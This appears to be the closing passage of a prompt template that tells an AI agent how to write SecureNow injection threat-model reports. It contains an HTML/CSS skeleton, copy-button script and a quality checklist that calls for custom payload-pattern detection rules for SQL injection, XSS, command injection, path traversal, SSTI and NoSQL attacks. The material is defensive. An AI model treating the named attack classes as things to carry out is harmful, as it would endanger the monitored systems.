nav a{display:block;color:var(--muted);padding:7px 10px;border-radius:7px;font-size:13.5px}
nav a:hover{background:var(--panel2);color:var(--txt)}
main{padding:36px 40px 80px;min-width:0}
header.top h1{margin:0 0 6px;font-size:26px}header.top p{margin:0;color:var(--muted)}
.pill{display:inline-block;font-size:11px;font-weight:600;padding:3px 9px;border-radius:999px;border:1px solid var(--border);color:var(--muted);background:var(--panel)}
.stats{display:grid;grid-template-columns:repeat(5,1fr);gap:14px;margin:26px 0 34px}
.stat{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:16px 18px}
.stat .n{font-size:26px;font-weight:700}.stat .l{color:var(--muted);font-size:12.5px;margin-top:2px}
section{margin:0 0 40px}
h2{font-size:18px;margin:0 0 14px;padding-bottom:8px;border-bottom:1px solid var(--border)}
h2 .num{color:var(--accent);font-weight:700;margin-right:8px}
table{width:100%;border-collapse:collapse;font-size:13.5px;background:var(--panel);border:1px solid var(--border);border-radius:12px;overflow:hidden}
th,td{text-align:left;padding:11px 13px;border-bottom:1px solid var(--border);vertical-align:top}
th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;text-transform:uppercase;letter-spacing:.4px}
tr:last-child td{border-bottom:none}tr:hover td{background:#19212c}
.rid{font:12px ui-monospace,Menlo,Consolas,monospace;color:#7fd1ff;white-space:nowrap}
.b{display:inline-block;font-size:11px;font-weight:700;padding:2px 8px;border-radius:6px;white-space:nowrap}
.b.crit{background:rgba(255,92,108,.15);color:var(--crit);border:1px solid rgba(255,92,108,.35)}
.b.high{background:rgba(255,159,67,.13);color:var(--high);border:1px solid rgba(255,159,67,.32)}
.b.med{background:rgba(247,201,72,.13);color:var(--med);border:1px solid rgba(247,201,72,.32)}
.b.low{background:rgba(139,151,167,.13);color:var(--low);border:1px solid rgba(139,151,167,.32)}
.c{display:inline-block;font-size:11px;font-weight:700;padding:2px 8px;border-radius:6px;white-space:nowrap}
.c.cov{background:rgba(22,199,154,.13);color:var(--ok);border:1px solid rgba(22,199,154,.35)}
.c.part{background:rgba(247,201,72,.13);color:var(--med);border:1px solid rgba(247,201,72,.32)}
.c.gap{background:rgba(255,92,108,.15);color:var(--crit);border:1px solid rgba(255,92,108,.35)}
.owasp,.cwe{display:inline-block;font:11px ui-monospace,Menlo,Consolas,monospace;color:var(--accent);border:1px solid rgba(62,166,255,.3);border-radius:6px;padding:1px 6px;white-space:nowrap}
.cwe{color:var(--rev);border-color:rgba(179,136,255,.3)}
.m{display:inline-block;font-size:11px;font-weight:600;padding:2px 8px;border-radius:6px;border:1px solid var(--border)}
.m.block{color:var(--crit);border-color:rgba(255,92,108,.35)}.m.rate{color:var(--info);border-color:rgba(62,166,255,.35)}
.m.challenge{color:var(--accent2);border-color:rgba(22,199,154,.35)}.m.firewall{color:var(--ok);border-color:rgba(22,199,154,.35)}
.m.signature{color:var(--crit);border-color:rgba(255,92,108,.35)}.m.notify{color:var(--muted)}.m.appfix{color:var(--high);border-color:rgba(255,159,67,.35)}
.card{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:18px 20px}
.grid2{display:grid;grid-template-columns:1fr 1fr;gap:16px}
pre{background:#0b0f14;border:1px solid var(--border);border-radius:10px;padding:14px 16px;overflow:auto;font:13px ui-monospace,Menlo,Consolas,monospace;color:#cfe8da;margin:0}
.cmd{position:relative;margin:10px 0}
.copy{position:absolute;top:8px;right:8px;font:11px ui-monospace,Menlo,Consolas,monospace;color:var(--muted);background:var(--panel2);border:1px solid var(--border);border-radius:6px;padding:3px 9px;cursor:pointer}
.copy:hover{color:var(--txt);border-color:var(--accent)}.copy.done{color:var(--ok);border-color:var(--ok)}
.flow{display:flex;flex-wrap:wrap;align-items:center;gap:8px;margin:6px 0 14px}
.flow .step{background:var(--panel2);border:1px solid var(--border);border-radius:9px;padding:8px 12px;font-size:13px}.flow .arr{color:var(--accent);font-weight:700}
.note{border-left:3px solid var(--high);background:rgba(255,159,67,.06);padding:10px 14px;border-radius:0 8px 8px 0;color:#e7d3bd;font-size:13.5px;margin:10px 0}
footer{color:var(--muted);font-size:12px;border-top:1px solid var(--border);padding-top:18px;margin-top:30px}
@media(max-width:880px){.wrap{grid-template-columns:1fr}nav{display:none}.stats,.grid2{grid-template-columns:1fr 1fr}main{padding:24px 18px}}
</style></head>
<body>
<div class="wrap">
<nav>
<div class="brand">Secure<span>Now</span></div>
<div class="sub"><!-- "Detection & Mitigation · Injection" OR "Code Findings · Injection" --></div>
<!-- one <a href="#…"> per section of THIS track (5a or 5b) -->
</nav>
<main>
<header class="top"><h1><!-- report title: "Injection — Detection & Mitigation" OR "Injection — Code Findings" --></h1>
<p><code><!-- app name / domain --></code> · <span class="pill">securenow <!-- installed version --></span></p></header>
<div class="stats"><!-- 5 .stat cards; numbers MUST equal the table/finding counts of THIS track --></div>
<!-- <section id="…"> blocks mirroring the Markdown sections of THIS track (5a or 5b) -->
<footer>Generated by the SecureNow injection threat-model prompt · <!-- date --> · securenow <!-- version --> · app <code><!-- APP_KEY --></code></footer>
</main>
</div>
<script>
document.querySelectorAll('.copy').forEach(function(b){b.addEventListener('click',function(){
var pre=b.parentElement.querySelector('pre'); if(!pre)return; var t=pre.innerText;
function done(){b.textContent='Copied';b.classList.add('done');setTimeout(function(){b.textContent='Copy';b.classList.remove('done');},1500);}
function fb(){var ta=document.createElement('textarea');ta.value=t;ta.style.position='fixed';ta.style.opacity='0';document.body.appendChild(ta);ta.focus();ta.select();try{document.execCommand('copy');}catch(e){}document.body.removeChild(ta);done();}
if(navigator.clipboard&&navigator.clipboard.writeText){navigator.clipboard.writeText(t).then(done,fb);}else{fb();}
});});
</script>
</body></html>
```
**Skeleton 1 — Track 1 (`injection-detection-mitigation.html`).** `<title>` = "Detection &
Mitigation — Injection — SecureNow"; sidebar subtitle = "Detection & Mitigation · Injection";
`<h1>` = "Injection — Detection & Mitigation". The five stat cards = threats modeled · covered ·
partial · gaps · rules to create. Body `<section>` blocks mirror the **5a** sections (1–11).
Every SQL/command block uses the copyable wrapper:
```html
<div class="cmd"><button class="copy" type="button">Copy</button><pre>securenow alerts rules create \
--name "..." --sql @rules/<name>.sql --apps <APP_KEY> --severity high \
--schedule "*/5 * * * *" --nlp "..."</pre></div>
```
**Skeleton 2 — Track 2 (`injection-code-findings.html`).** Same shared `<head>` + copy
`<script>`; `<title>` = "Code Findings — Injection — SecureNow"; sidebar subtitle = "Code Findings
· Injection"; `<h1>` = "Injection — Code Findings". The five stat cards = critical · high · medium
· low · total findings. Body `<section>` blocks mirror the **5b** sections (1–8). Prose may skip
copy buttons, but every example/fix command is still wrapped in `.cmd` with a Copy button.
Badge usage (both files): severity `<span class="b crit|high|med|low">`; coverage
`<span class="c cov|part|gap">COVERED|PARTIAL|GAP</span>`; OWASP `<span class="owasp">A03</span>`;
CWE `<span class="cwe">CWE-89</span>`; mitigation
`<span class="m firewall|signature|rate|challenge|block|notify|appfix">`; rule IDs
`<span class="rid">`. Stats numbers must equal the matrix/findings row counts of that track.
---
## Quality bar (the report is rejected if any of these fail)
- **Phase 0.5 ran:** the resolved installed `securenow` version appears in **both** reports'
appendix, and no command / flag / `track('…')` event / SQL column is emitted that the installed
SDK/CLI does not expose (else it is annotated `# requires securenow >= <version>`).
- Every *new* detection rule is a **complete copyable unit** (SQL → `rules/<name>.sql` →
`alerts rules validate` → full `securenow alerts rules create …` → `… rules test … --mode
dry_run --wait --app <APP_KEY>`); flags match `securenow alerts rules --help`. Injection payload
classes (catalog C / L50) are covered by a **custom payload-pattern traces rule** built this way
(plus its MCP instant payload), reading only fields `telemetry fields` showed.
- **Four** files are written to `threat/06-injection/` (`injection-detection-mitigation.md` +
`.html`, `injection-code-findings.md` + `.html`); the two tracks **cross-link**; both HTML files
are **self-contained** (inline CSS/JS, no network) and **every command block in the detection
HTML has a working Copy button** (`.cmd` wrapper).
- The split is honest: SecureNow-runnable detections/mitigations live in the Detection report;
code/config changes live in the Code-Findings report; nothing security-relevant is dropped.
- Every catalog item A1–L54 is either a matrix row or an explicit N/A line; each modeled row
carries its **A03:2021 + specific CWE** tag.
- The deferred items 55–58 are **referenced, not re-derived** (rows present, linked to
[../04-xss-csrf-cors/](../04-xss-csrf-cors/), [../15-graphql-security/](../15-graphql-security/),
[../25-ai-llm-features/](../25-ai-llm-features/), [../14-api-security/](../14-api-security/)) —
this model does not duplicate their catalogs.
- **Injection coverage is built, not assumed** — Phase 0 records any custom payload/injection
rules (none ship by default; SecureNow has no pre-built signature rules), and the report authors
the custom payload-pattern rule (SQLi / XSS / command injection / path traversal / SSTI / NoSQL
operators) with conservative regexes flagged for test-mode tuning, instant conditions via MCP
`securenow_alert_rule_instant_update` with `dryRun` fixtures for the high-precision patterns, and
`block` only after promotion. It never says the triggering request itself is stopped — the source
IP is blocked seconds after the matching span is ingested.
- Every matrix row has a concrete signal (threshold + window, or "pattern match — instant on
ingest"), severity, and mitigation — **no "monitor for suspicious activity" filler.**
- Every injection row **pairs the edge/pattern-rule control with the app fix** — the pattern rule
contains the actor sending a matching payload; only parameterization / allow-listing / safe APIs
close the sink.
- Every code finding has a `file:line`, the quoted snippet, a sample payload, and a described app
fix — and **no application code was modified** (this is an audit).
- Every custom detection SQL keeps `__USER_APP_KEYS__` scoping (correct table column:
`resources_string['service.name']` for logs vs `` `resource_string_service$$name` `` for traces),
selects an `ip` column with `HAVING ip != ''`, and traffic queries keep the `ts_bucket_start`
+ `kind = 2` guards and the `client_ip` coalesce. Regexes inside ClickHouse string literals
double every backslash (`'\\b'`, not `'\b'`).
- Only commands, flags, events, and SQL columns from this prompt's building blocks appear
(including `securenow challenge …`, `firewall`, the `injection.*` events, `alerts rules
validate`, `--mode dry_run`, and MCP `securenow_alert_rule_instant_update`).
- Every 🔴 gap appears in the gaps section with an interim app/config fix **and** the "contact
the SecureNow team" line.
- The action plan runs top-to-bottom with `<APP_KEY>` substituted in, **starting with the firewall
and the custom payload-pattern rule.**
- Both HTML files are self-contained (no CDN, no fonts, no external scripts) and titled per track
("Detection & Mitigation — Injection" / "Code Findings — Injection"); each file's stats cards
match its own table/finding counts.
- A one-line summary is printed back to the user: the **per-track file paths**, threat counts,
rules-to-create count, code findings by severity, gaps, A03/CWE coverage, payload-pattern rule state,
and the **resolved installed SDK version** (Phase 0.5).
- The Detection report's mitigation section presents the **full toolbox** (§4c: firewall ·
instant-block · block [global / route / method / temporary] · rate-limit [IP / route / IP+route] ·
challenge · auto-block · revoke · trusted · allowlist · fp · app-fix), and **each modeled threat's
matrix row selects specific, scoped mitigation(s) from it** — never a generic "block the IP."
- **Every false-positive-prone rule — including the custom payload-pattern rule — is tagged
`test-first`** and carries the test mode → observe (3–7 days) → `alerts rules promote` workflow;
only high-precision rules (exact IoCs) are `prod-ready`. Every rule is created in test mode (the
CLI default), and the action plan has an explicit "promote after N days" step, with the instant
`block` armed only after promotion.
<!-- ════════════════ END OF PROMPT ════════════════ -->